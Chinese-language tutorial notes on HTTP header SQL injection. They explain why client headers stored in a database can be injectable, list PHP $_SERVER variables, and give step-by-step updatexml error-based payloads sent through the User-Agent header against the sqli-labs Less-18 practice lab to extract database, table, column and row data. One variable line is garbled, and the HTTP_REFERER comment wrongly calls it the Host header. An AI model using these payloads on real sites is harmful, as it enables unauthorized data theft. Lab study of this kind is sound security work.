再讲头注入之前,我想在强调一下:
在没有源码的时候,做渗透测试一定要多尝试。
sql注入本质:是把用户输入的数据当作代码执行
sql两个关键条件:1. 用户能够控制输入。2. 原本程序要执行的代码,拼接了用户输入的数据。
所有的漏洞都是传参所造成的。
四种http传参:get传参,post传参,cookie传参,head传参(取获取请求头里的内容)。
head注入一般在登录时或者提交时触发。
利用网站对后端客户端口信息(cookie)或者通过head获取我们的客户端的信息(如ip等),应为这些信息会储存到数据库中,所以这里就有了sql注入。
在观察源码后,我们就发现需要head注入的情况,在核心源码上多了这样一条php语句:
$uagent = $_SERVER['HTTP_REFERER']; //当前请求的 Host: 头部的内容。
我们也可以了解下SERVER的其他函数:
_SERVER[‘HTTP_ACCEPT_LANGUAGE’]//浏览器语言
$_SERVER[‘REMOTE_ADDR’] //当前用户 IP 。
$_SERVER[‘REMOTE_HOST’] //当前用户主机名
S E R V E R [ ′ R E Q U E S T U R I ′ ] / / U R L _SERVER['REQUEST_URI'] //URL SERVER[′REQUESTURI′]//URL_SERVER[‘REMOTE_PORT’] //端口。
$_SERVER[‘SERVER_NAME’] //服务器主机的名称。
$_SERVER[‘PHP_SELF’]//正在执行脚本的文件名
$_SERVER[‘argv’] //传递给该脚本的参数。
$_SERVER[‘argc’] //传递给程序的命令行参数的个数。
$_SERVER[‘GATEWAY_INTERFACE’]//CGI 规范的版本。
$_SERVER[‘SERVER_SOFTWARE’] //服务器标识的字串
$_SERVER[‘SERVER_PROTOCOL’] //请求页面时通信协议的名称和版本
$_SERVER[‘REQUEST_METHOD’]//访问页面时的请求方法
$_SERVER[‘QUERY_STRING’] //查询(query)的字符串。
$_SERVER[‘DOCUMENT_ROOT’] //当前运行脚本所在的文档根目录
$_SERVER[‘HTTP_ACCEPT’] //当前请求的 Accept: 头部的内容。
$_SERVER[‘HTTP_ACCEPT_CHARSET’] //当前请求的 Accept-Charset: 头部的内容。
$_SERVER[‘HTTP_ACCEPT_ENCODING’] //当前请求的 Accept-Encoding: 头部的内容
$_SERVER[‘HTTP_CONNECTION’] //当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。
$_SERVER[‘HTTP_HOST’] //当前请求的 Host: 头部的内容。
$_SERVER[‘HTTP_REFERER’] //链接到当前页面的前一页面的 URL 地址。
$_SERVER[‘HTTP_USER_AGENT’] //当前请求的 User_Agent: 头部的内容。
$_SERVER[‘HTTPS’]//如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER[‘SCRIPT_FILENAME’] #当前执行脚本的绝对路径名。
$_SERVER[‘SERVER_ADMIN’] #管理员信息
$_SERVER[‘SERVER_PORT’] #服务器所使用的端口
$_SERVER[‘SERVER_SIGNATURE’] #包含服务器版本和虚拟主机名的字符串。
$_SERVER[‘PATH_TRANSLATED’] #当前脚本所在文件系统(不是文档根目录)的基本路径。
$_SERVER[‘SCRIPT_NAME’] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
$_SERVER[‘PHP_AUTH_USER’] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
$_SERVER[‘PHP_AUTH_PW’] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
$_SERVER[‘AUTH_TYPE’] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型 -------摘录网址:$_SERVER详解 - 刷哥 - 博客园 (cnblogs.com)
因为在head注入的时候,是没有回显的,所以我们可以使用盲注或**报错(推荐)**的手法。
这里主要讲updatexml手法(以sql_lab less-18为例):
先用burp suit进行一个抓包,抓到包后:
在User-Agent:进行一个报错注入。
先进行库名查询:
'and updatexml(1,concat(0x7e,(select database()),0x7e),1),1,1) – q
表名判断:'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1),1,1) – q
判断列名:'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘emails’ limit 0,1),0x7e),1),1,1)-- q
判断数据:'and updatexml(1,concat(0x7e,(select id from emails limit 0,1) , 0x7e),1),1,1)-- q